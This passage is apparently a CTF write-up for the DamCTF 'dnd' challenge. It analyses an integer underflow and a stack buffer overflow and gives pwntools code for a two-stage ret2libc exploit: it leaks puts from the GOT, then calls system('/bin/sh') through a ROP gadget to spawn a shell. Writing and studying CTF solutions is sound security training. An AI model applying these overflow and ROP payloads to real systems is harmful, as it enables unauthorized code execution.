The DidWin function contains an integer underflow vulnerability. This occurs because a signed negative value is interpreted as an unsigned one. Due to two’s complement representation, negative values become very large numbers. For example, -1 is stored in binary as 11111111 11111111 11111111 11111111. When interpreted as an unsigned integer, it becomes 0xFFFFFFFF.
2. Buffer Overflow
There is a buffer overflow in the win function. The input buffer is only 32 bytes in size, but fgets attempts to read up to 256 bytes. This allows us to overwrite adjacent memory, providing a strong attack vector.
v0 = std::operator<<<std::char_traits<char>>( &std::cout, "Congratulations! Minstrals will sing of your triumphs for millenia to come."); std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>); std::operator<<<std::char_traits<char>>(&std::cout, "What is your name, fierce warrior? "); fgets(input, 256, _bss_start); v1 = std::operator<<<std::char_traits<char>>(&std::cout, "We will remember you forever, "); v7 = &v6; std::string::basic_string<std::allocator<char>>(v5, input, &v6); v2 = std::operator<<<char>(v1, v5); std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>); std::string::~string(v5); return std::__new_allocator<char>::~__new_allocator(&v6); }
Step 2. Binary Analysis
It’s time to dive deeper into the binary for more detailed information.
checksec
1 2 3 4 5 6 7 8 9 10
pwndbg> checksec File: /home/grissia/Documents/DamCTF/dnd/dnd Arch: amd64 RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
This configuration works in our favor — both Stack Canary and PIE are disabled. That means we don’t have to worry about stack protections or address randomization.
What I’m thinking now is a ret2libc attack. Since the challenge provides a libc file, it’s likely we are meant to use it. Also, because NX is enabled and the binary is dynamically linked, injecting shellcode (ret2sc) or using raw ROP chains isn’t an option.
So the first step is to patch the binary to link with the provided libc.
##### Welcome to the DamCTF and Dragons (DnD) simulator ##### Can you survive all 5 rounds?
>>> Round 1 Points: 0 | Health: 10 | Attack: 5 New enemy! You are now facing off against: Zoggoth the Ogre (6 health, 2 damage) Do you want to [a]ttack or [r]un? a Oof, that hurt ;(
>>> Round 2 Points: -6 | Health: 8 | Attack: 5 New enemy! You are now facing off against: Terragon the Dragon (9 health, 9 damage) Do you want to [a]ttack or [r]un? a Oof, that hurt ;( Congratulations! Minstrels will sing of your triumphs for millennia to come. What is your name, fierce warrior? aaaaa...aaaaa
0x402960 <win()+243> ret <0x616161616161616e>
pwndbg> cyclic -l 0x616161616161616e Finding cyclic pattern of 8 bytes: b'naaaaaaa' (hex: 0x6e61616161616161) Found at offset 104
Since we’re planning to perform a ret2libc attack, our goal is to call system("/bin/sh"). We can use pwntools to easily locate the string and function addresses, but we’ll also need a pop rdi; ret gadget to set the first argument to /bin/sh. For that, ROPgadget is a useful tool.
Finding a gadget to set /bin/sh into rdi
1 2 3 4
❯ ROPgadget --binary=chal_patched | grep "pop rdi" ... 0x0000000000402640 : pop rdi ; nop ; pop rbp ; ret ...
This gadget is the most suitable one for setting up our exploit.
deftry_once(r): # This function attempts to obtain a "winning" session. # As mentioned earlier, I initially overlooked the integer underflow issue while fuzzing the binary. # From experimentation, choosing [attack] appears more likely to lead to a win. # So this function is essentially brute-forcing until we hit a win — it doesn't always succeed.
if"Congratulations!"in decoded or"fierce warrior"in decoded: log.success("Found a winning session!") return r
if"Do you want to [a]ttack or [r]un?"in decoded: r.sendline(b'a') log.info("Sent 'a' to attack")
except EOFError: r.close() returnNone
r.close() returnNone
try_once(r) # Start by finding a winning session
# gdb.attach(r, 'b *0x402960') # pause()
# These are static addresses obtained from the binary. # Most of them will be used for constructing the payload. offset = 104 puts_plt = exe.plt['puts'] puts_got = exe.got['puts'] start_addr = exe.symbols['_start'] pop_rdi_pop_rbp_ret = 0x0000000000402640
# This stage leaks the real address of puts from the GOT. # With that, we can calculate the libc base address. # We also chain the _start address at the end to restart the program cleanly. payload = b"a" * offset payload += p64(pop_rdi_pop_rbp_ret) # pop rdi; pop rbp; ret payload += p64(puts_got) # Address to leak payload += p64(0xdeadbeef) # Dummy value for rbp payload += p64(puts_plt) # Call puts payload += p64(start_addr) # Restart the program
# This is the core exploitation step. # Set up RDI to point to "/bin/sh" and call system(). # This should spawn a shell. payload = b"a" * offset payload += p64(0x000000000040201a) # ret (for stack alignment) payload += p64(pop_rdi_pop_rbp_ret) # pop rdi; pop rbp; ret payload += p64(binsh_addr) # "/bin/sh" payload += p64(0xdeadbeef) # Dummy rbp payload += p64(0x000000000040201a) # ret (optional: alignment) payload += p64(system_addr) # Call system